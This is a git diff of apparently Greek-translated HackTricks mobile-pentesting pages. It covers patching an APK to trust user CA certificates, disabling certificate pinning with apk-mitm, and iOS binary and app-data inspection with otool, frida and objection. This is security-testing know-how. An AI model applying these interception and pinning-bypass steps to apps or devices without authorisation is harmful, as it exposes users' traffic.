DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||||
|
@ -342,9 +372,10 @@ if (dpm.isAdminActive(adminComponent)) {
|
||||||
dpm.setPasswordMinimumLength(adminComponent, 8);
|
dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
**Ομάδα Ασφαλείας Try Hard**
|
**Ομάδα Ασφαλείας Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -357,7 +388,7 @@ dpm.setPasswordMinimumLength(adminComponent, 8);
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**Την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή τη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
* **Μοιραστείτε τα κόλπα σας στο hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -16,7 +16,7 @@
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -66,7 +66,7 @@
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -80,4 +80,6 @@
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Εγγραφείτε** στη 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβ
|
* \*\*Μοιραστείτε τα χάκινγκ κόλπα σας υποβ
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
|
@ -1,3 +1,5 @@
|
||||||
|
# Make APK Accept CA Certificate
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
|
||||||
|
@ -7,14 +9,14 @@
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα τηλεγραφήματος**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
**Ομάδα Ασφαλείας Try Hard**
|
**Ομάδα Ασφαλείας Try Hard**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/gr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
@ -22,11 +24,11 @@
|
||||||
|
|
||||||
Κάποιες εφαρμογές δεν αρέσουν στα πιστοποιητικά που κατεβάζουν οι χρήστες, οπότε για να ελέγξουμε την κίνηση στον ιστό για κάποιες εφαρμογές πρέπει πραγματικά να αποσυναρμολογήσουμε την εφαρμογή και να προσθέσουμε μερικά πράγματα και να την επανασυναρμολογήσουμε.
|
Κάποιες εφαρμογές δεν αρέσουν στα πιστοποιητικά που κατεβάζουν οι χρήστες, οπότε για να ελέγξουμε την κίνηση στον ιστό για κάποιες εφαρμογές πρέπει πραγματικά να αποσυναρμολογήσουμε την εφαρμογή και να προσθέσουμε μερικά πράγματα και να την επανασυναρμολογήσουμε.
|
||||||
|
|
||||||
# Αυτόματο
|
## Αυτόματο
|
||||||
|
|
||||||
Το εργαλείο [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) θα κάνει **αυτόματα** τις απαραίτητες αλλαγές στην εφαρμογή για να ξεκινήσει την καταγραφή των αιτημάτων και θα απενεργοποιήσει επίσης το pinning του πιστοποιητικού (εάν υπάρχει).
|
Το εργαλείο [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) θα κάνει **αυτόματα** τις απαραίτητες αλλαγές στην εφαρμογή για να ξεκινήσει την καταγραφή των αιτημάτων και θα απενεργοποιήσει επίσης το pinning του πιστοποιητικού (εάν υπάρχει).
|
||||||
|
|
||||||
# Χειροκίνητο
|
## Χειροκίνητο
|
||||||
|
|
||||||
Πρώτα αποσυναρμολογούμε την εφαρμογή: `apktool d *όνομα-αρχείου*.apk`
|
Πρώτα αποσυναρμολογούμε την εφαρμογή: `apktool d *όνομα-αρχείου*.apk`
|
||||||
|
|
||||||
|
@ -45,6 +47,7 @@
|
||||||
![](../../.gitbook/assets/img11.png)
|
![](../../.gitbook/assets/img11.png)
|
||||||
|
|
||||||
Τώρα πηγαίνουμε στον φάκελο **res/xml** και δημιουργούμε/τροποποιούμε ένα αρχείο με το όνομα network\_security\_config.xml με τα παρακάτω περιεχόμενα:
|
Τώρα πηγαίνουμε στον φάκελο **res/xml** και δημιουργούμε/τροποποιούμε ένα αρχείο με το όνομα network\_security\_config.xml με τα παρακάτω περιεχόμενα:
|
||||||
|
|
||||||
```markup
|
```markup
|
||||||
<network-security-config>
|
<network-security-config>
|
||||||
<base-config>
|
<base-config>
|
||||||
|
@ -57,6 +60,7 @@
|
||||||
</base-config>
|
</base-config>
|
||||||
</network-security-config>
|
</network-security-config>
|
||||||
```
|
```
|
||||||
|
|
||||||
Στη συνέχεια, αποθηκεύστε το αρχείο και βγείτε από όλους τους φακέλους και ανακατασκευάστε το apk με την ακόλουθη εντολή: `apktool b *όνομα-φακέλου/* -o *αρχείο-εξόδου.apk*`
|
Στη συνέχεια, αποθηκεύστε το αρχείο και βγείτε από όλους τους φακέλους και ανακατασκευάστε το apk με την ακόλουθη εντολή: `apktool b *όνομα-φακέλου/* -o *αρχείο-εξόδου.apk*`
|
||||||
|
|
||||||
![](../../.gitbook/assets/img12.png)
|
![](../../.gitbook/assets/img12.png)
|
||||||
|
@ -65,20 +69,18 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
<img src="https://github.com/carlospolop/hacktricks/blob/gr/mobile-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt="" data-size="original">
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
||||||
|
|
||||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||||
|
|
||||||
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια στο GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# iOS Ελέγχος Ευπάθειας
|
# iOS Pentesting
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -57,22 +57,25 @@
|
||||||
|
|
||||||
Αναγνώριση των **προστασιών που υπάρχουν στο δυαδικό αρχείο**:
|
Αναγνώριση των **προστασιών που υπάρχουν στο δυαδικό αρχείο**:
|
||||||
|
|
||||||
* **PIE (Position Independent Executable)**: Όταν είναι ενεργοποιημένο, η εφαρμογή φορτώνεται σε τυχαία διεύθυνση μνήμης κάθε φορά που ξεκινά, κάνοντας πιο δύσκολο το να προβλέψετε την αρχική διεύθυνση μνήμης της.
|
* **PIE (Position Independent Executable)**: Όταν είναι ενεργοποιημένο, η εφαρμογή φορτώνεται σε τυχαία διεύθυνση μνήμης κάθε φορά που ξεκινά, κάνοντας πιο δύσκολο το να προβλέψετε την αρχική διεύθυνση μνήμης της.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
otool -hv <app-binary> | grep PIE # Θα πρέπει να περιλαμβάνει τη σημαία PIE
|
otool -hv <app-binary> | grep PIE # Θα πρέπει να περιλαμβάνει τη σημαία PIE
|
||||||
```
|
```
|
||||||
* **Stack Canaries**: Για τον έλεγχο της ακεραιότητας της στοίβας, τοποθετείται μια τιμή 'canary' στη στοίβα πριν καλείται μια συνάρτηση και επαληθεύεται ξανά όταν η συνάρτηση τελειώνει.
|
|
||||||
|
* **Stack Canaries**: Για τον έλεγχο της ακεραιότητας της στοίβας, τοποθετείται μια τιμή 'canary' στη στοίβα πριν καλείται μια συνάρτηση και επαληθεύεται ξανά όταν η συνάρτηση τελειώνει.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
otool -I -v <app-binary> | grep stack_chk # Θα πρέπει να περιλαμβάνει τα σύμβολα: stack_chk_guard και stack_chk_fail
|
otool -I -v <app-binary> | grep stack_chk # Θα πρέπει να περιλαμβάνει τα σύμβολα: stack_chk_guard και stack_chk_fail
|
||||||
```
|
```
|
||||||
* **ARC (Automatic Reference Counting)**: Για την πρόληψη κοινών ελαττωμάτων μνήμης
|
|
||||||
|
* **ARC (Automatic Reference Counting)**: Για την πρόληψη κοινών ελαττωμάτων μνήμης
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
otool -I -v <app-binary> | grep objc_release # Θα πρέπει να περιλαμβάνει το σύμβολο _objc_release
|
otool -I -v <app-binary> | grep objc_release # Θα πρέπει να περιλαμβάνει το σύμβολο _objc_release
|
||||||
```
|
```
|
||||||
* **Κρυπτογραφημένο Δυαδικό**: Το δυαδικό πρέπει να είναι κρυπτογραφημένο
|
|
||||||
|
* **Κρυπτογραφημένο Δυαδικό**: Το δυαδικό πρέπει να είναι κρυπτογραφημένο
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Το cryptid πρέπει να είναι 1
|
otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Το cryptid πρέπει να είναι 1
|
||||||
|
@ -80,7 +83,7 @@ otool -arch all -Vl <app-binary> | grep -A5 LC_ENCRYPT # Το cryptid πρέπ
|
||||||
|
|
||||||
**Αναγνώριση Ευαίσθητων/Ευάλωτων Συναρτήσεων**
|
**Αναγνώριση Ευαίσθητων/Ευάλωτων Συναρτήσεων**
|
||||||
|
|
||||||
* **Αδύναμοι Αλγόριθμοι Κατακερματισμού**
|
* **Αδύναμοι Αλγόριθμοι Κατακερματισμού**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Στη συσκευή iOS
|
# Στη συσκευή iOS
|
||||||
|
@ -91,7 +94,8 @@ otool -Iv <app> | grep -w "_CC_SHA1"
|
||||||
grep -iER "_CC_MD5"
|
grep -iER "_CC_MD5"
|
||||||
grep -iER "_CC_SHA1"
|
grep -iER "_CC_SHA1"
|
||||||
```
|
```
|
||||||
* **Ανασφαλείς Συναρτήσεις Τυχαίων Αριθμών**
|
|
||||||
|
* **Ανασφαλείς Συναρτήσεις Τυχαίων Αριθμών**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Στη συσκευή iOS
|
# Στη συσκευή iOS
|
||||||
|
@ -104,7 +108,8 @@ grep -iER "_random"
|
||||||
grep -iER "_srand"
|
grep -iER "_srand"
|
||||||
grep -iER "_rand"
|
grep -iER "_rand"
|
||||||
```
|
```
|
||||||
* **Ανασφαλής Συνάρτηση 'Malloc'**
|
|
||||||
|
* **Ανασφαλής Συνάρτηση 'Malloc'**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Στη συσκευή iOS
|
# Στη συσκευή iOS
|
||||||
|
@ -113,7 +118,8 @@ otool -Iv <app> | grep -w "_malloc"
|
||||||
# Σε Linux
|
# Σε Linux
|
||||||
grep -iER "_malloc"
|
grep -iER "_malloc"
|
||||||
```
|
```
|
||||||
* **Ανασφαλείς και Ευάλωτες Συναρτήσεις**
|
|
||||||
|
* **Ανασφαλείς και Ευάλωτες Συναρτήσεις**
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Στη συσκευή iOS
|
# Στη συσκευή iOS
|
||||||
|
@ -150,6 +156,7 @@ grep -iER "_vsprintf"
|
||||||
### Κατάλογος Εγκατεστημένων Εφαρμογών
|
### Κατάλογος Εγκατεστημένων Εφαρμογών
|
||||||
|
|
||||||
Χρησιμοποιήστε την εντολή `frida-ps -Uai` για να προσδιορίσετε το **αναγνωριστικό δέματος** των εγκατεστημένων εφαρμογών:
|
Χρησιμοποιήστε την εντολή `frida-ps -Uai` για να προσδιορίσετε το **αναγνωριστικό δέματος** των εγκατεστημένων εφαρμογών:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ frida-ps -Uai
|
$ frida-ps -Uai
|
||||||
PID Name Identifier
|
PID Name Identifier
|
||||||
|
@ -162,6 +169,7 @@ PID Name Identifier
|
||||||
- Camera com.apple.camera
|
- Camera com.apple.camera
|
||||||
- iGoat-Swift OWASP.iGoat-Swift
|
- iGoat-Swift OWASP.iGoat-Swift
|
||||||
```
|
```
|
||||||
|
|
||||||
### Βασική Απαρίθμηση & Hooking
|
### Βασική Απαρίθμηση & Hooking
|
||||||
|
|
||||||
Μάθετε πώς να **απαριθμήσετε τα στοιχεία της εφαρμογής** και πώς να **συνδέσετε μεθόδους και κλάσεις** εύκολα με το objection:
|
Μάθετε πώς να **απαριθμήσετε τα στοιχεία της εφαρμογής** και πώς να **συνδέσετε μεθόδους και κλάσεις** εύκολα με το objection:
|
||||||
|
@ -194,23 +202,30 @@ PID Name Identifier
|
||||||
Για όσους επιθυμούν να εργαστούν με αυτό το αρχείο σε μια πιο προσβάσιμη μορφή, η μετατροπή σε XML μπορεί να επιτευχθεί εύκολα μέσω της χρήσης του `plutil` στο macOS (διαθέσιμο φυσικά σε εκδόσεις 10.2 και μεταγενέστερες) ή του `plistutil` στο Linux. Οι εντολές για τη μετατροπή είναι οι ακόλουθες:
|
Για όσους επιθυμούν να εργαστούν με αυτό το αρχείο σε μια πιο προσβάσιμη μορφή, η μετατροπή σε XML μπορεί να επιτευχθεί εύκολα μέσω της χρήσης του `plutil` στο macOS (διαθέσιμο φυσικά σε εκδόσεις 10.2 και μεταγενέστερες) ή του `plistutil` στο Linux. Οι εντολές για τη μετατροπή είναι οι ακόλουθες:
|
||||||
|
|
||||||
* **Για macOS**:
|
* **Για macOS**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ plutil -convert xml1 Info.plist
|
$ plutil -convert xml1 Info.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
* **Για Linux**:
|
* **Για Linux**:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ apt install libplist-utils
|
$ apt install libplist-utils
|
||||||
$ plistutil -i Info.plist -o Info_xml.plist
|
$ plistutil -i Info.plist -o Info_xml.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
Ανάμεσα στον αμέτρητο αριθμό πληροφοριών που μπορεί να αποκαλύψει το **Info.plist** αρχείο, σημαντικές καταχωρήσεις περιλαμβάνουν τις συμβολοσειρές άδειας εφαρμογής (`UsageDescription`), τις προσαρμοσμένες σχήματα URL (`CFBundleURLTypes`), και τις ρυθμίσεις για την Ασφάλεια Μεταφοράς Εφαρμογής (`NSAppTransportSecurity`). Αυτές οι καταχωρήσεις, μαζί με άλλες όπως οι καταχωρήσεις προσαρμοσμένων τύπων εγγράφων που εξάγονται/εισάγονται (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), μπορούν να εντοπιστούν εύκολα ελέγχοντας το αρχείο ή χρησιμοποιώντας ένα απλό `grep` εντολή:
|
Ανάμεσα στον αμέτρητο αριθμό πληροφοριών που μπορεί να αποκαλύψει το **Info.plist** αρχείο, σημαντικές καταχωρήσεις περιλαμβάνουν τις συμβολοσειρές άδειας εφαρμογής (`UsageDescription`), τις προσαρμοσμένες σχήματα URL (`CFBundleURLTypes`), και τις ρυθμίσεις για την Ασφάλεια Μεταφοράς Εφαρμογής (`NSAppTransportSecurity`). Αυτές οι καταχωρήσεις, μαζί με άλλες όπως οι καταχωρήσεις προσαρμοσμένων τύπων εγγράφων που εξάγονται/εισάγονται (`UTExportedTypeDeclarations` / `UTImportedTypeDeclarations`), μπορούν να εντοπιστούν εύκολα ελέγχοντας το αρχείο ή χρησιμοποιώντας ένα απλό `grep` εντολή:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
$ grep -i <keyword> Info.plist
|
$ grep -i <keyword> Info.plist
|
||||||
```
|
```
|
||||||
|
|
||||||
**Διαδρομές Δεδομένων**
|
**Διαδρομές Δεδομένων**
|
||||||
|
|
||||||
Στο περιβάλλον του iOS, οι κατάλογοι είναι ειδικά ορισμένοι για τις **εφαρμογές συστήματος** και τις **εφαρμογές που έχει εγκαταστήσει ο χρήστης**. Οι εφαρμογές συστήματος βρίσκονται στον κατάλογο `/Applications`, ενώ οι εφαρμογές που έχει εγκαταστήσει ο χρήστης τοποθετούνται κάτω από τον κατάλογο `/private/var/containers/`. Αυτές οι εφαρμογές είναι ανατεθειμένες ένα μοναδικό αναγνωριστικό γνωστό ως **128-bit UUID**, κάτι που καθιστά δύσκολη την χειροκίνητη εντοπισμό του φακέλου μιας εφαρμογής λόγω της τυχαιότητας των ονομάτων των καταλόγων.
|
Στο περιβάλλον του iOS, οι κατάλογοι είναι ειδικά ορισμένοι για τις **εφαρμογές συστήματος** και τις **εφαρμογές που έχει εγκαταστήσει ο χρήστης**. Οι εφαρμογές συστήματος βρίσκονται στον κατάλογο `/Applications`, ενώ οι εφαρμογές που έχει εγκαταστήσει ο χρήστης τοποθετούνται κάτω από τον κατάλογο `/private/var/containers/`. Αυτές οι εφαρμογές είναι ανατεθειμένες ένα μοναδικό αναγνωριστικό γνωστό ως **128-bit UUID**, κάτι που καθιστά δύσκολη την χειροκίνητη εντοπισμό του φακέλου μιας εφαρμογής λόγω της τυχαιότητας των ονομάτων των καταλόγων.
|
||||||
|
|
||||||
Για να διευκολύνει τον εντοπισμό του φακέλου εγκατάστασης μιας εφαρμογής που έχει εγκαταστήσει ο χρήστης, το εργαλείο **objection** παρέχει ένα χρήσιμο πλήκτρο, το `env`. Αυτή η εντολή αποκαλύπτει λεπτομερείς πληροφορίες καταλόγου για τη συγκεκριμένη εφαρμογή. Παρακάτω παρουσιάζεται ένα παράδειγμα πώς να χρησιμοποιήσετε αυτήν την εντολή:
|
Για να διευκολύνει τον εντοπισμό του φακέλου εγκατάστασης μιας εφαρμογής που έχει εγκαταστήσει ο χρήστης, το εργαλείο **objection** παρέχει ένα χρήσιμο πλήκτρο, το `env`. Αυτή η εντολή αποκαλύπτει λεπτομερείς πληροφορίες καταλόγου για τη συγκεκριμένη εφαρμογή. Παρακάτω παρουσιάζεται ένα παράδειγμα πώς να χρησιμοποιήσετε αυτήν την εντολή:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
OWASP.iGoat-Swift on (iPhone: 11.1.2) [usb] # env
|
||||||
|
|
||||||
|
@ -221,15 +236,20 @@ CachesDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8E
|
||||||
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
DocumentDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Documents
|
||||||
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
LibraryDirectory /var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693/Library
|
||||||
```
|
```
|
||||||
|
|
||||||
Εναλλακτικά, το όνομα της εφαρμογής μπορεί να αναζητηθεί μέσα στον φάκελο `/private/var/containers` χρησιμοποιώντας την εντολή `find`:
|
Εναλλακτικά, το όνομα της εφαρμογής μπορεί να αναζητηθεί μέσα στον φάκελο `/private/var/containers` χρησιμοποιώντας την εντολή `find`:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
find /private/var/containers -name "Progname*"
|
find /private/var/containers -name "Progname*"
|
||||||
```
|
```
|
||||||
|
|
||||||
